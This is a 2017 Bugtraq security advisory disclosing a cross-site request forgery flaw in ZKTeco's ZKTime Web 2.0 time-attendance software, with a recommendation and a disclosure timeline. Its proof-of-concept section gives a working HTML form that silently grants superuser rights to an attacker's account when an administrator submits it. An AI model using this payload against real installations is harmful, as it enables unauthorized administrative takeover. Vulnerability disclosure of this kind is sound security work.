lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CAGkSqYu7y6GMWuGfQxr2T6UJGmX3=kiX8eac-b24ubz=mVpwYg@mail.gmail.com>
Date: Mon, 18 Sep 2017 19:06:37 +0400
From: Arvind Vishwakarma <arvind12786@...il.com>
To: bugtraq@...urityfocus.com
Subject: ZKTime_Web Software 2.0 - Cross Site Request Forgery

Vulnerability Type: Cross Site Request Forgery (CSRF)
Vendor of Product: ZKTeco
Affected Product Code Base: ZKTime Web - 2.0.1.12280
Affected Component: ZK Time Web Interface Management.
Attack Type: Local - Authenticated
Impact: Escalation of Privileges
------------------------------------------
Product description:
ZKTime Web 2.0 is a cutting edge Web-based Time Attendance software,
which provided a stable communication for devices through GPRS/WAN,
hence, users can access the software anywhere by their Web Browser to
remotely manage hundreds of T&A terminals under complex network
condition (WLAN). The Application has an administrator role and
application user role.

Attack Scenario:
The ZKTime Web Software allows the Administrator to elevate the
privileges of the application user by simple click of a radio button
namely "superuser". However when the request is generated there are no
random tokens attached to this request to prevent any kind of Cross
Site Request Forgery attacks. Moreover there no other protections
(like administrator password verification etc.) mechanisms in place to
block any kind of forged requests. An Attacker takes advantage of this
scenario and creates a crafted link to add himself as an administrator
to the ZKTime Web Software. He then uses social engineering methods to
trick the administrator into click the forged http request. The
request is executed and the attacker becomes the Administrator of the
ZKTime Web Software.

Proof of Concept Code:
Forged HTTP Request used by the attacker:

<html>
    <body>
    <form action="http://XX.XX.XX.46:8081/data/auth/User/14/" method="POST">
      <input type="hidden" name="pk" value="" />
      <input type="hidden" name="username" value="Pentestuser1" />
      <input type="hidden" name="Password" value="" />
      <input type="hidden" name="ResetPassword" value="" />
      <input type="hidden" name="fpidnum" value="" />
      <input type="hidden" name="fpcount" value="0" />
      <input type="hidden" name="tlng" value="en" />
      <input type="hidden" name="first_name" value="Pentest" />
      <input type="hidden" name="last_name" value="User" />
      <input type="hidden" name="email" value="" />
      <input type="hidden" name="is_staff" value="on" />
      <input type="hidden" name="is_superuser" value="on" />

      <input type="hidden" name="last_login" value="2017-08-20 14:14:34" />
      <input type="hidden" name="initial-last_login" value="2017-08-20
14:14:34" />
      <input type="hidden" name="date_joined" value="2017-08-20 14:14:34" />
      <input type="hidden" name="initial-date_joined"
value="2017-08-20 14:14:34" />
      <input type="hidden" name="finnger" value="" />
      <input type="hidden" name="template" value="" />
      <input type="hidden" name="finnger10" value="" />
      <input type="hidden" name="template10" value="" />
      <input type="hidden" name="delfp" value="" />
      <input type="hidden" name="actflag" value="" />
      <input type="submit" value="Submit request" />
    </form>
</body>
</html>


Impact:
If the vulnerability is successfully exploited than an attacker (who
would be a normal user of the web application) can escalate his
privileges and become the administrator of ZK Time Web Software.

Recommendation:
Ensure that all sensitive CRUD Operations are appropriately protected
with random tokens. Alternatively, the sensitive operations could
alsohave an authentication layer to confirm user verification.

Credit: Arvind Vishwakarma
http://ultimateone1.blogspot.ae/


Vulnerability Timeline:

18th August 2017 – Vulnerability Discovered
20th August 2017 – Contacted Vendor – No Response
1st September 2017 – Contacted Vendor again – No Response
18th September 2017 – Vulnerability Disclosed

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ